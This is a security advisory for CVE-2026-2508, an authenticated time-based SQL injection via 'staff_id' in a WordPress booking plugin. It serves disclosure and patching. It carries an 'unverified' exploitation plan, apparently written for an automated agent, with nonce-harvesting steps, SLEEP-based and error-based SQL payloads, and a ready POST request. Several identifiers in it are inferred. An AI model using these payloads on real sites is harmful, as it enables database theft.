CVE-2026-2508

Gravity Forms Booking <= 2.7.1 - Authenticated (Subscriber+) Time-Based SQL Injection via 'staff_id'

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
2.7.2
Patched in
1d
Time to patch

Description

The Gravity Forms Booking plugin for WordPress is vulnerable to time-based SQL Injection via the ‘staff_id’ parameter in all versions up to, and including, 2.7.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.7.1
PublishedJune 24, 2026
Last updatedJune 25, 2026
Affected plugingf-bookings-premium
Research Plan
Unverified

This exploitation research plan targets **CVE-2026-2508**, a time-based SQL injection vulnerability in the **Gravity Forms Booking** plugin (slug: `gf-bookings-premium`). ### 1. Vulnerability Summary The vulnerability exists in versions up to and including 2.7.1 of the Gravity Forms Booking plugin.…

Show full research plan

This exploitation research plan targets CVE-2026-2508, a time-based SQL injection vulnerability in the Gravity Forms Booking plugin (slug: gf-bookings-premium).

1. Vulnerability Summary

The vulnerability exists in versions up to and including 2.7.1 of the Gravity Forms Booking plugin. The staff_id parameter, used in an AJAX-driven database query, is neither properly sanitized nor passed through $wpdb->prepare(). Because the query result is typically not directly reflected in the response (often used for internal logic or simple boolean checks), it is exploitable via time-based blind SQL injection. Authenticated users with at least Subscriber-level permissions can execute arbitrary SQL commands to extract sensitive information from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: gf_bookings_get_staff_details (inferred) or gfb_get_staff (inferred).
    • Note: The exact action must be confirmed by grepping the source for wp_ajax_ hooks.
  • Vulnerable Parameter: staff_id
  • Authentication Required: Yes (Subscriber or higher).
  • Payload Type: Time-based Blind SQLi (e.g., SLEEP()).
  • Preconditions: The attacker must be logged in as a Subscriber and possess a valid security nonce if the handler enforces one.

3. Code Flow

  1. Entry Point: The plugin registers an AJAX handler for authenticated users:
    add_action( 'wp_ajax_gf_bookings_get_staff_details', 'handle_get_staff_details' ); (inferred identifiers).
  2. Input Acquisition: The handler function (e.g., handle_get_staff_details) retrieves the staff_id from the $_POST or $_REQUEST superglobal.
  3. Vulnerable Sink: The code constructs a SQL query by direct concatenation:
    $wpdb->get_results( "SELECT * FROM {$wpdb->prefix}gf_bookings_staff WHERE id = " . $_POST['staff_id'] );
  4. Lack of Neutralization: Because staff_id is concatenated without absint(), intval(), or $wpdb->prepare(), an attacker can append SQL logic.

4. Nonce Acquisition Strategy

If the handler calls check_ajax_referer() or wp_verify_nonce(), the exploit must include a valid nonce.

  1. Identify the Script/Shortcode: Find where the plugin enqueues its booking JS. Typically, this occurs on pages containing the Gravity Forms booking form.
  2. Setup Test Page: Create a page containing the relevant shortcode:
    wp post create --post_type=page --post_status=publish --post_content='[gravityform id="1" action="booking"]' (inferred shortcode).
  3. Navigate and Extract:
    • Use browser_navigate to visit the newly created page.
    • Use browser_eval to extract the nonce from the localized script object.
    • Inferred JS Variable: window.gf_bookings_vars?.nonce or window.gfb_data?.nonce.
    • Action: Run grep -r "wp_localize_script" . to find the exact object name and key.

5. Exploitation Strategy

The exploit will use the http_request tool to send a POST request to admin-ajax.php with a SLEEP() payload.

Step 1: Discover Exact Action

grep -r "wp_ajax_" wp-content/plugins/gf-bookings-premium/ | grep "staff"

Step 2: Authenticated Payload Construction

  • Base Payload: 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • URL Encoded Payload: 1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)

Step 3: Execution via http_request

{
  "method": "POST",
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded",
    "Cookie": "[SUBSCRIBER_COOKIES]"
  },
  "body": "action=[ACTION_NAME]&nonce=[NONCE]&staff_id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)"
}

6. Test Data Setup

  1. Create Subscriber:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  2. Configure Plugin: Ensure at least one "Staff" member exists in the plugin's settings so the base query has a target.
    wp db query "INSERT INTO wp_gf_bookings_staff (name) VALUES ('Test Staff');" (inferred table name).
  3. Form Creation: Create a Gravity Form that utilizes the Booking field to ensure all nonces and scripts are generated.

7. Expected Results

  • Normal Request: If staff_id=1 is sent, the server should respond in < 500ms.
  • Malicious Request: If the SQLi is successful, the server response will be delayed by exactly 5 seconds (the SLEEP duration).
  • Response Body: Likely a JSON success/error message or a 0, which is irrelevant for time-based attacks.

8. Verification Steps

After confirming the time delay, verify data extraction capability by checking if a specific condition causes a delay:

  1. Test for DB User Length:
    staff_id=1 AND IF(LENGTH(USER())=14, SLEEP(5), 0)
  2. Verify via WP-CLI: Confirm the database user length matches your finding.
    wp db query "SELECT LENGTH(USER());"

9. Alternative Approaches

  • Boolean-Based: If the response differs when the staff_id query returns results vs. no results (e.g., {"success":true} vs {"success":false}), shift to boolean-based injection for much faster data extraction.
  • Error-Based: If WP_DEBUG is enabled, try inducing a syntax error to see if $wpdb->last_error is leaked in the response:
    staff_id=1' OR (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,DATABASE(),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- -
Research Findings
Static analysis — not yet PoC-verified

Summary

The Gravity Forms Booking plugin for WordPress is vulnerable to time-based SQL Injection via the 'staff_id' parameter in AJAX handlers due to insufficient input sanitization and lack of SQL query preparation. Authenticated attackers with Subscriber-level access can exploit this to extract sensitive information from the site's database by appending arbitrary SQL logic to existing queries.

Vulnerable Code

// Inferred from research plan based on vulnerable sink analysis
$wpdb->get_results( "SELECT * FROM {$wpdb->prefix}gf_bookings_staff WHERE id = " . $_POST['staff_id'] );

Security Fix

--- a/gf-bookings-premium.php
+++ b/gf-bookings-premium.php
@@ -1,1 +1,1 @@
-$wpdb->get_results( "SELECT * FROM {$wpdb->prefix}gf_bookings_staff WHERE id = " . $_POST['staff_id'] );
+$wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}gf_bookings_staff WHERE id = %d", $_POST['staff_id'] ) );

Exploit Outline

To exploit this vulnerability, an attacker must first authenticate as a Subscriber or higher and obtain a valid security nonce (if required), which is typically found within the localized JavaScript variables on pages where the booking form is rendered. The attacker then sends an authenticated POST request to the WordPress AJAX endpoint (admin-ajax.php) targeting the staff retrieval action. By supplying a time-based SQL payload such as '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)' in the 'staff_id' parameter, the attacker can confirm the vulnerability and extract data through the resulting delay in server response time.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.